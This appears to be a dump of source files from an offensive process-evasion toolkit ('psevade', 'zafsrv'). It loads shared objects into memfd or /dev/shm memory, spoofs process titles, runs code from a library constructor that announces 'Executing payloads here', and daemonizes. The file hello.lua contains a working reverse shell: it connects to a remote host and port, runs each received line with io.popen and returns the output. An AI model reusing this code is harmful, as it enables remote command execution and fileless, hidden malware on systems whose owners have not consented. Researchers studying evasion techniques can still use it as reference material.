            shmpath = realpath(procpath, NULL);
            if (shmpath != NULL)
            {
                log_info("Cleanup: unlinking %s -> %s", procpath, shmpath);
                unlink(shmpath); // TODO: make provisions for shm_unlink
                free(shmpath);
            }
        }
    }
    
    // memfd and shm options;
    log_debug("Cleanup: Closing shm_fd: %d", shm_fd);
    close(shm_fd); 

    // TODO: needed? mark unloaded in ShmMemTbl
    mark_delete_mod(head, shm_fd);
}

int setMemfdTbl(int shm_fd, char* mname) {
    char path[1024]; // TODO: what should this be?
    char mstate[] = "L"; //Loaded
    

    log_debug("MemTbl: Populating Index Table");
    if (memfd_kv_s.memfd_supp == 1) { 

	    log_debug("MemTbl: memfd_create() is supported.");
	    log_debug("MemTbl: Sealing modules.");
        /*
        // TODO: Allow commands to seal the modules that would never be modified
        // fcntl() defines as kernel 3.17 support. check for that.
        //unsigned int seals =  F_SEAL_GROW | F_SEAL_SHRINK | F_SEAL_WRITE | F_SEAL_SEAL;
        unsigned int seals =  F_SEAL_SEAL;
        if (fcntl(shm_fd, F_ADD_SEALS, seals) == -1)
	        log_error("MemTbl: fcntl(): Sealing modules failed"); // TODO: why failing?
        */

        snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);
    } else { 
        snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd); 
	    log_debug("MemTbl: only /dev/shm supported.");
    }

    if (check_empty(head) == 0) {
        log_debug("Memtbl: Head of list empty");
        head = calloc(1,sizeof(node_t));
        if (head == NULL) {
		    log_fatal("MemTble: calloc() failed");
            return 1;
        }
        push_first(head, shm_fd, path, mname, mstate);
    }else{
        push(head, shm_fd, path, mname, mstate);
    }
    return 0;
}


<|start_filename|>src/weakref_control.c<|end_filename|>
#include "weakref_so.h"

void debug(){
    printf("weakref SO: debug()\n");
    fflush(stdout);
}


<|start_filename|>src/main_extern.c<|end_filename|>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// gcc -o main main.c -L/root/Code/psevade -l:libctx.so.1
extern void die(const char*, ...);

int main(int argc, char **argv) {

	int c=0;
    while (1) { 
			printf("trying : %d\n", c);
			if (c == 5){
				die("it's over at %d\n", c);
			}
			c++;
			sleep(1) ; 
	}
    return 0;
}


<|start_filename|>src/main_weakref.c<|end_filename|>
#include <stdio.h>
#include "weakref_main.h"



int main(void)
{
    if (debug) {
        printf("main: debug()\n");
		  debug();
    }
    else {
        printf("main: ---\n");
    }

    if (mstat) {
        printf("main: test trampoline to stat()\n");
		mstat();
    }

    fflush(stdout);
    return 0;
}


<|start_filename|>src/main.c<|end_filename|>
#include <stdio.h>
#include <unistd.h>


int main(int argc, char **argv) {

    int i;

    printf("%s: ", __FUNCTION__);
    for (i=1; i < 4; i++) { 
        printf(" %d ", i);
        fflush(stdout);
		usleep(500000) ; 
 	}
    printf("\n");
    return 0;
}


<|start_filename|>src/psevade.h<|end_filename|>

#define MAX_MESG 128

char ** largv = NULL;
int     largc;
char ** lenvp = NULL;
char ** lenvp_start = NULL; 


// commands store
struct comm {
	int cmd_id;
	 union cmd_t {
		int  msgq_no;
		char cmd_args[MAX_MESG];
	 } m;
} commands;

// structure and indetifiers for message queue 
struct mesg_buffer {
	 long mesg_type;
	 char mesg_text[MAX_MESG];
} message;

int msgid;
key_t key;

static void sig_handler(int sig);
void die(const char* format, ...);

void setRandezvous(void);
void setProcessName(void);
int  processCommands(void);
int  backgroundDaemonLeader(char * cmd_bg);
void cleanEnv(char* ldvar, int ldlen);


<|start_filename|>src/data.lua<|end_filename|>
code = [[
    print("Hello World")
]]

hi = loadstring(code)
hi()


<|start_filename|>zafsrv/src/zmemory.c<|end_filename|>
#include "zmemory.h"

// Returns a file descriptor where we can write our shared object
// TODO: refactor
int open_ramfs(Shared_Mem_Fd * smf) {

    int shm_fd = 0;
    char s[6] = {}; //TODO: parameterize

    gen_random(s, 6);//TODO: parameterize 

	if (memfd_kv_s.memfd_supp == 0) {
		shm_fd = shm_open(s, O_RDWR | O_CREAT, S_IRUSR|S_IRUSR|S_IRGRP|S_IRGRP|S_IRGRP|S_IRGRP);
		if (shm_fd < 0) { 
			log_fatal("RamWorker: shm_fd: Could not open file descriptor");
			return 0;
		}
        smf->shm_type=1; //shm
	}
	else {
		shm_fd = memfd_create(s, MFD_ALLOW_SEALING); // flags?
		if (shm_fd < 0) { 
			log_fatal("RamWorker: memfd_create: Could not open file descriptor\n");
			return 0;
		}
        smf->shm_type=2; //memfd
	}

    smf->shm_fd=shm_fd;
    memcpy(smf->shm_mname, s, 6);//TODO: parameterize
	return shm_fd;
}



<|start_filename|>src/hello.lua<|end_filename|>

print(package.path..'\n'..package.cpath)

-- via cpath
package.cpath = './slibs/?.so;'
print("Cpath:"..package.cpath)
local socket = require('socket')
local tcp = assert(socket.tcp());

local server = assert(socket.bind("127.0.0.1", 8081))
-- find out which port the OS chose for us
local ip, port = server:getsockname()
print("Server on " .. ip .. ":"..port)

-- via path
local rhost = "127.0.0.1"
local rport = "1337"
assert(tcp:connect(rhost,rport));
  while true do
    local r,x=tcp:receive()
    local fin=assert(io.popen(r,"r"))
    local data=assert(fin:read("*a"));
    tcp:send(data);
  end;
fin:close()
tcp:close()
-- local path = "./slib/lsocket.so"
--local f = assert(loadlib(path, "luaopen_socket"))
-- f()


<|start_filename|>src/sqlite_driver.c<|end_filename|>
//http://zetcode.com/db/sqlitec/
#include <stdio.h>      // printf
#include <unistd.h>     // sleep
#include <sqlite3.h>    // SQLite header

int callback(void *NotUsed, int argc, char **argv, char **azColName);
int main()
{
    sqlite3 *db;        // database connection
    int rc;             // return code
    char *errmsg;       // pointer to an error string

    /*
     * open SQLite database file test.db
     * use ":memory:" to use an in-memory database
     */
    rc = sqlite3_open(":memory:", &db);
    if (rc != SQLITE_OK) {
        printf("ERROR opening SQLite DB in memory: %s\n", sqlite3_errmsg(db));
        goto out;
    }
    printf("opened SQLite handle successfully.\n");
    /* use the database... */

    char *sql = "DROP TABLE IF EXISTS Files;"
                "CREATE TABLE Files(Id INT, Name TEXT, Content BLOB);"
                "INSERT INTO Files VALUES(1, 'file', 'dfgdsfgsdfgsdfgsdfgsdfgsdfg');";

    rc = sqlite3_exec(db, sql, 0, 0, &errmsg);

    if (rc != SQLITE_OK ) {

        fprintf(stderr, "SQL error: %s\n", errmsg);

        sqlite3_free(errmsg);
        sqlite3_close(db);

        return 1;
    }

    sql = "SELECT * FROM Files";

    rc = sqlite3_exec(db, sql, callback, 0, &errmsg);

    if (rc != SQLITE_OK ) {

        fprintf(stderr, "Failed to select data\n");
        fprintf(stderr, "SQL error: %s\n", errmsg);

        sqlite3_free(errmsg);
        sqlite3_close(db);

        return 1;
    }

out:
    /*
     * close SQLite database
     */
    sqlite3_close(db);
    printf("database closed.\n");
}

int callback(void *NotUsed, int argc, char **argv,
                    char **azColName) {

    NotUsed = 0;

    for (int i = 0; i < argc; i++) {

        printf("%s = %s\n", azColName[i], argv[i] ? argv[i] : "NULL");
    }

    printf("\n");

    return 0;
}


<|start_filename|>src/test.lua<|end_filename|>
local ffi = require("ffi")
ffi.cdef[[
void Sleep(int ms);
int poll(struct pollfd *fds, unsigned long nfds, int timeout);
]]

local sleep
if ffi.os == "Windows" then
  function sleep(s)
    ffi.C.Sleep(s*1000)
  end
else
  function sleep(s)
    ffi.C.poll(nil, 0, s*1000)
  end
end

for i=1,80 do
  io.write("."); io.flush()
  sleep(0.01)
end
io.write("\n")



<|start_filename|>zafsrv/include/zstructs.h<|end_filename|>
#include "zparams.h"

#ifndef Z_STRUCT
#define Z_STRUCT

// Kernel Verison: memfd_create support
typedef struct {
    int major;
    int minor;
    int memfd_supp;
} memfd_kv;
memfd_kv memfd_kv_s;

// ShMemTbl List
typedef struct node {
    char mname[SHM_NAME_MAX];
    char mpath[1024];
    char mstate[2];
    int  fd;
    struct node * next;
} node_t;

typedef struct modtbl {
    char mname[SHM_NAME_MAX];
    char mpath[1024];
    char mstate[2];
    int  fd;
} modtbl_t;
node_t * head;

// Downloader Module entry
typedef struct {
 int  shm_fd;
 FILE *shm_file;
 char shm_fname[SHM_NAME_MAX];
 char shm_mname[6];
 int  shm_type; // 1 - shm, 2 - memfd
} Shared_Mem_Fd;

#endif


<|start_filename|>zafsrv/include/zmemory.h<|end_filename|>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>

#include "zstructs.h"
#include "log.h"


#define MFD_ALLOW_SEALING 1

extern void gen_random(char *s, const int len);
extern int  memfd_create(const char *name, unsigned int flags);

int open_ramfs(Shared_Mem_Fd * smf);


<|start_filename|>src/main_weakref_control.c<|end_filename|>
#include <stdio.h>
#include "weakref_main.h"



int main(void)
{
    if (debug) {
        printf("main: debug() CALLED\n");
		debug();
    }
    else {
        printf("main: debug() NOT AVAILABLE \n");
    }

    fflush(stdout);
    return 0;
}


<|start_filename|>src/mspt.c<|end_filename|>
#include "msptso.h"

volatile sig_atomic_t gotint = 0;

// Constructor called by ld.so before the main. This is not guaranteed but works.
__attribute__((constructor)) static void mctor(int argc, char **argv, char** envp)
{

    printf("Before main()\n");

    argv = save_ps_display_args(argc, argv);
    init_ps_display("hello, world");
    //try_division(1,0);
    setSigHandler(500000);

}

void doWork(void){
	printf("Executing payloads here ...\n");
    set_ps_display("new title!", true);
}

void setSigHandler(int sleep_interval){

	printf("Setting SIGHUP Signal handler ...\n");
    printf("PPID: %d PID: %d \n", getppid(), getpid());
    signal(SIGHUP, handleSigHup);
    for (;;) {
        if (gotint)
            break;
        usleep(sleep_interval);
    }
	printf("Signal handler got signal ... \n");
	doWork();
}
 
void handleSigHup(int signal) {
    /*
     * Signal safety: It is not safe to call clock(), printf(),
     * or exit() inside a signal handler. Instead, we set a flag.
     */
    gotint = 1;
}
 

// ref: http://rosettacode.org/wiki/Detect_division_by_zero#C 
/*
 * This SIGFPE handler jumps to fpe_env.
 *
 * A SIGFPE handler must not return, because the program might retry
 * the division, which might cause an infinite loop. The only safe
 * options are to _exit() the program or to siglongjmp() out.
 */
void fpe_handler(int signal, siginfo_t *w, void *a)
{
	printf("In SIGFPE handler\n");
	siglongjmp(fpe_env, w->si_code);
	/* NOTREACHED */
}
 
/*
 * Try to do x / y, but catch attempts to divide by zero.
 */
void try_division(int x, int y)
{
	struct sigaction act, old;
	int code;
	/*
	 * The result must be volatile, else C compiler might delay
	 * division until after sigaction() restores old handler.
	 */
	volatile int result;
 
	/*
	 * Save fpe_env so that fpe_handler() can jump back here.
	 * sigsetjmp() returns zero.
	 */
	code = sigsetjmp(fpe_env, 1);
	if (code == 0) {
		/* Install fpe_handler() to trap SIGFPE. */
		act.sa_sigaction = fpe_handler;
		sigemptyset(&act.sa_mask);
		act.sa_flags = SA_SIGINFO;
		if (sigaction(SIGFPE, &act, &old) < 0) {
			perror("sigaction");
			exit(1);
		}
 
		/* Do division. */
		result = x / y;
 
		/*
		 * Restore old hander, so that SIGFPE cannot jump out
		 * of a call to printf(), which might cause trouble.
		 */
		if (sigaction(SIGFPE, &old, NULL) < 0) {
			perror("sigaction");
			exit(1);
		}
 
		printf("%d / %d is %d\n", x, y, result);
	} else {
		/*
		 * We caught SIGFPE. Our fpe_handler() jumped to our
		 * sigsetjmp() and passes a nonzero code.
		 *
		 * But first, restore old handler.
		 */
		if (sigaction(SIGFPE, &old, NULL) < 0) {
			perror("sigaction");
			exit(1);
		}
 
		/* FPE_FLTDIV should never happen with integers. */
		switch (code) {
		case FPE_INTDIV: /* integer division by zero */
		case FPE_FLTDIV: /* float division by zero */
			printf("%d / %d: caught division by zero!\n", x, y);
			doWork();
			break;
		default:
			printf("%d / %d: caught mysterious error!\n", x, y);
			break;
		}
	}
}
